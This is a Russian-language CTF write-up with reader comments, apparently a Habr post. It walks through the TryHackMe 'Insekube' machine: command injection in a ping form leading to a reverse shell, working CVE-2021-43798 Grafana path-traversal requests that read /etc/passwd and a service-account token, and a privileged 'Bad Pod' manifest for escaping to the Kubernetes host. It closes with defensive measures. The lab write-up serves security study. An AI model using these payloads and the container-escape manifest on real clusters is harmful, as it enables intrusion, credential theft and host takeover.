Всем привет! В этой статье, на примере машины Insekube с TryHackme, я постараюсь показать каким образом могут быть захвачены кластера Kubernetes реальными злоумышленниками, а также рассмотрю возможные методы защиты от этого. Приятного прочтения!

Ищем точку входа

Расчехляем nmap:

nmap 10.10.221.142

Starting Nmap 7.60 ( https://nmap.org ) at 2022-06-07 17:08 BST
Nmap scan report for ip-10-10-221-142.eu-west-1.compute.internal (10.10.221.142)
Host is up (0.0015s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 02:BF:D5:06:FF:D9 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 1.59 seconds

Опираясь на название и описание тачки хотелось бы увидеть какие-нибудь порты Kubernetes, но видим торчащий наружу 80 порт. Окей, открываем адрес в браузере.

Пробуем подать какой-нибудь инпут и понимаем, что это обычный ping.

Судя по ответу, где-то исполняется реалная тулза ping. Тут же приходит идея проверить ввод на command injection – действительно работает!

Недолго думая, прокидываем reverse shell и ловим бэк-коннект:

nc -nlvp 4444
Listening on [0.0.0.0] (family 0, port 4444)
Connection from 10.10.221.142 57278 received!
/bin/sh: 0: can't access tty; job control turned off
$ id    
uid=1000(challenge) gid=1000(challenge) groups=1000(challenge)

Внутри контейнера

Отлично, мы внутри. Только вот внутри чего? Посмотрим переменные окружения. Видим хорошо знакомые значения для Kubernetes – отсюда делаем вывод: мы внутри Pod! Из env забираем первый флаг.

$ env
KUBERNETES_SERVICE_PORT=443
KUBERNETES_PORT=tcp://10.96.0.1:443
HOSTNAME=syringe-79b66d66d7-7mxhd
...
GRAFANA_SERVICE_HOST=10.108.133.228
GRAFANA_PORT=tcp://10.108.133.228:3000

Внутри самого Pod для нас мало чего интересного, но у него может быть привилегированный Service Account, который может дать нам больше возможностей – например создавать такие Pod, чтобы можно было сделать побег из контейнера и вырваться на хост. Для того чтобы это проверить нам нужен kubectl. Посмотрим, есть ли он где нибудь в контейнере, вдруг не придется его скачивать его извне.

find / -name "kubectl"
find: '/etc/ssl/private': Permission denied
find: '/var/lib/apt/lists/partial': Permission denied
find: '/var/cache/apt/archives/partial': Permission denied
find: '/var/cache/ldconfig': Permission denied
find: '/proc/tty/driver': Permission denied
/tmp/kubectl

Отлично! То что нам нужно. Кто-то бережно оставил kubectl для нас в директории /tmp Проверим, достаточно ли у нас прав для создания нового Pod:

$ cd /tmp
$ ls
kubectl
$ ./kubectl auth can-i create pods
no

Да уж, не густо. Но смотреть Secrets мы можем. Там же лежит второй флаг. Будем искать другой вектор.

$ ./kubectl get secrets
NAME                    TYPE                                  DATA
default-token-8bksk     kubernetes.io/service-account-token   3
developer-token-74lck   kubernetes.io/service-account-token   3
secretflag              Opaque                                1
syringe-token-g85mg     kubernetes.io/service-account-token   3

Особо внимательные, при просмотре env, увидели, что там также хранятся переменные от Grafana – адрес и порт. Это значит, что она развернута в кластере и мы можем попробовать достучаться до неё из Pod! В контейнере также есть curl, который облегчит нам эту задачу. Пробуем постучаться на стандартный эндпоинт Grafana:

curl 10.108.133.228:3000/login

Получаем довольно большой ответ... Для начала неплохо было бы определить версию Grafana, может она устаревшая и для неё есть известные уязвимости. В начале ответа видим упоминание версии:

..."version":"8.3.0-beta2"...

По первой ссылке в гугле находим, что для этой версии присвоена CVE-2021-43798 – Grafana 8.x Path Traversal (Pre-Auth). Супер! Как нам это может быть полезно? Мы сможем прочитать Token, который относится к Service Account у Grafana Pod – он маунтится прямо внутрь контейнера. Если у этого Pod есть достаточно привилегированный Service Account, то мы сможем создать "Bad Pod" для побега на хост!

Формируем запрос с полезной нагрузкой, таким образом чтобы отработал path traversal. Не забываем выставить флаг --path-as-is, чтобы curl не схлопывал наш пэйлоад:

curl --path-as-is 10.108.133.228:3000/public/plugins/alertGroups/../../../../../../../../etc/passwd
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  1230  100  1230    0     0   600k      0 --:--:-- --:--:-- --:--:--  600k
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
...

Работает! Теперь указываем путь до Token (он лежит в /var/run/secrets/kubernetes.io/serviceaccount/token) и сохраняем ответ:

curl --path-as-is 10.108.133.228:3000/public/plugins/alertGroups/../../../../../../../../var/run/secrets/kubernetes.io/serviceaccount/token
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  1022  100  1022    0     0   499k      0 --:--:-- --:--:-- --:--:--  499k
eyJhbGciOiJSUzI1NiIsImtpZCI6Im82QU1WNV9qNEIwYlV3YnBGb1NXQ25UeUtmVzNZZXZQZjhPZUtUb21jcjQifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiXSwiZXhwIjoxNjg2MTU5NjAzLCJpYXQiOjE2NTQ2MjM2MDMsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwia3ViZX
export TOKEN=eyJhbGciOiJSUzI1NiIsImtpZCI6Im82QU1WNV9qNEIwYlV3YnBGb1NXQ25UeUtmVzNZZXZQZjhPZUt...

Ещё раз проверим возможность создавать Pod, на этот раз через новый Service Account:

$ ./kubectl auth can-i create pods --token=$TOKEN
yes

Отлично. Создаем "Bad Pod" для побега на хост:

cat <<EOF | ./kubectl create --token=$TOKEN -f -
apiVersion: v1
kind: Pod
metadata:
  name: everything-allowed-exec-pod
  labels:
    app: pentest
spec:
  hostNetwork: true
  hostPID: true
  hostIPC: true
  containers:
  - name: everything-allowed-pod
    image: ubuntu
    securityContext:
      privileged: true
    volumeMounts:
    - mountPath: /host
      name: noderoot
    command: [ "/bin/sh", "-c", "--" ]
    args: [ "while true; do sleep 30; done;" ]
  volumes:
  - name: noderoot
    hostPath:
      path: /
EOF

Посмотрим, создался ли Pod:

$ ./kubectl get po --token=$TOKEN
NAME                          READY   STATUS         RESTARTS        AGE
everything-allowed-exec-pod   0/1     ErrImagePull   0               29s
grafana-57454c95cb-v4nrk      1/1     Running        10 (127d ago)   151d
syringe-79b66d66d7-7mxhd      1/1     Running        1 (127d ago)    127d

Но не всё так просто! Pod не запустился – не спуллился образ. Видимо кластер изолирован по сети. Но если образ уже ранее использовался и скачивался, то мы можем попытать удачу и выставить imagePullPolicy: IfNotPresent

...
containers:
  - name: everything-allowed-pod
    image: ubuntu
    imagePullPolicy: IfNotPresent
...

На этот раз сработало. Заходим в Pod –> оказываемся на хосте –> находим последний флаг:

$ ./kubectl get po --token=$TOKEN
NAME                          READY   STATUS    RESTARTS        AGE
everything-allowed-exec-pod   1/1     Running   0               12s
grafana-57454c95cb-v4nrk      1/1     Running   10 (127d ago)   151d
syringe-79b66d66d7-7mxhd      1/1     Running   1 (127d ago)    127d
$ ./kubectl exec -it everything-allowed-exec-pod --token=$TOKEN -- bash
Unable to use a TTY - input is not a terminal or the right kind of file
id
uid=0(root) gid=0(root) groups=0(root)

Как этого можно было избежать?

  • Network Policy – сетевые политики смогли бы ограничить общение контейнеров по сети. Например можно написать такую политику, которая запретит стучаться из Pod с веб-приложением в Pod с Grafana

  • Policy engine – имея правило на запрет создания привилегированных Pod, от Kyverno или Gatekeeper, у злоумышленника и вовсе не получилось бы сбежать на хост. Запрос не прошел бы через webhook

  • Runtime observability & security – знание и полная видимость происходящего в кластере позволили бы заметить и остановить злоумышленника ещё в начале атаки

Комментарии (3)


  1. celebrate
    13.06.2022 20:36
    +2

    Задачу кстати можно решить и без взлома Графаны. Там в секретах лежит секрет developer-token-74lck. Этот секрет содержит токен пользака developer, у которого cluster-admin. Дальше все аналогично.


  1. tdemin
    14.06.2022 07:26
    +1

    По мелочи:

    Особо внимательные, при просмотре env,увидели, что там также хранятся переменные от Grafana – адрес и порт.

    env обрезан до переменных сервиса service/kubernetes, переменные Grafana в нем опущены.


    1. r0binak Автор
      14.06.2022 10:39
      +1

      спасибо, исправил